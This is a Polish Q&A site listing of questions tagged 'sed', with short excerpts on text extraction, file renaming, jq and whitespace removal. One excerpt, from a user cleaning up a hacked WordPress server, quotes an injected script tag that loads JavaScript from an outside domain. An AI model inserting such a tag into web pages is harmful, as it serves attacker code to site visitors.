Pytania otagowane jako sed

Sed (Stream EDitor) to edytor wiersza poleceń dla środowiska POSIX. Sed przetwarza jeden lub więcej plików zgodnie ze skryptem edycyjnym i zapisuje wyniki na standardowe wyjście. Stworzony w Bell Labs, istnieje od połowy lat 70.

8
Jak wyodrębnić ciąg następujący po wzorcu za pomocą grep, regex lub perl
Mam plik, który wygląda mniej więcej tak: <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> I trzeba wyodrębnić coś wewnątrz cudzysłowów, które następują name=, to znaczy content_analyzer, content_analyzer2i content_analyzer_items. Robię to na Linuksie, więc rozwiązanie wykorzystujące sed, perl, grep lub …


13
Używanie seda do masowej zmiany nazw plików
Cel Zmień te nazwy plików: F00001-0708-RG-biasliuyda F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl do tych nazw plików: F0001-0708-RG-biasliuyda F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl Kod powłoki Testować: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' Występować: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh Moje pytanie Nie rozumiem kodu seda. Rozumiem, co to polecenie zamiany $ sed 's/something/mv' znaczy. I trochę rozumiem wyrażenia …
89 bash  shell  sed  file-rename 

2
Użyj jq, aby przeanalizować ciąg JSON
Próbuję jqprzeanalizować strukturę JSON, taką jak: { "a" : 1, "b" : 2, "c" : "{\"id\":\"9ee ...\",\"parent\":\"abc...\"}\n" } Oznacza to, że element w formacie JSON jest ciągiem znaków ze zmienionym kodem JSON. Więc mam coś w stylu $ jq [.c] myFile.json | jq [.id] Ale to się psuje jq: error: …
87 json  string  sed  escaping  jq 





8
Wyszukiwanie bez rozróżniania wielkości liter i zamień na sed
Próbuję użyć SED do wyodrębnienia tekstu z pliku dziennika. Mogę przeprowadzić wyszukiwanie i zamianę bez większych problemów: sed 's/foo/bar/' mylog.txt Jednak chcę, aby w wyszukiwaniu nie była rozróżniana wielkość liter. Z tego, co wyszukałem w Google, wygląda na to, że dołączanie ido końca polecenia powinno działać: sed 's/foo/bar/i' mylog.txt Jednak …

11
Jak usunąć wszystkie spacje z podanego pliku tekstowego
Chcę usunąć wszystkie spacje z podanego pliku tekstowego. Czy jest do tego dostępne jakieś polecenie powłoki? Lub jak używać seddo tego celu. Chcę coś takiego poniżej: $ cat hello.txt | sed .... Próbowałem tego: cat hello.txt | sed 's/ //g'.Ale usuwa tylko spacje, a nie tabulatory.
81 linux  bash  sed 


7
Jak zastąpić cały ciąg za pomocą sed lub ewentualnie grep
Więc cały mój serwer został zhakowany lub wystąpił problem ze złośliwym oprogramowaniem. moja witryna oparta jest na WordPress, a większość witryn hostowanych na moim serwerze jest oparta na WordPress. Haker dodał ten wiersz kodu do każdego pliku i bazy danych <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Przeszukałem go za pomocą grep przy użyciu …
10 bash  shell  sed  grep 
Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.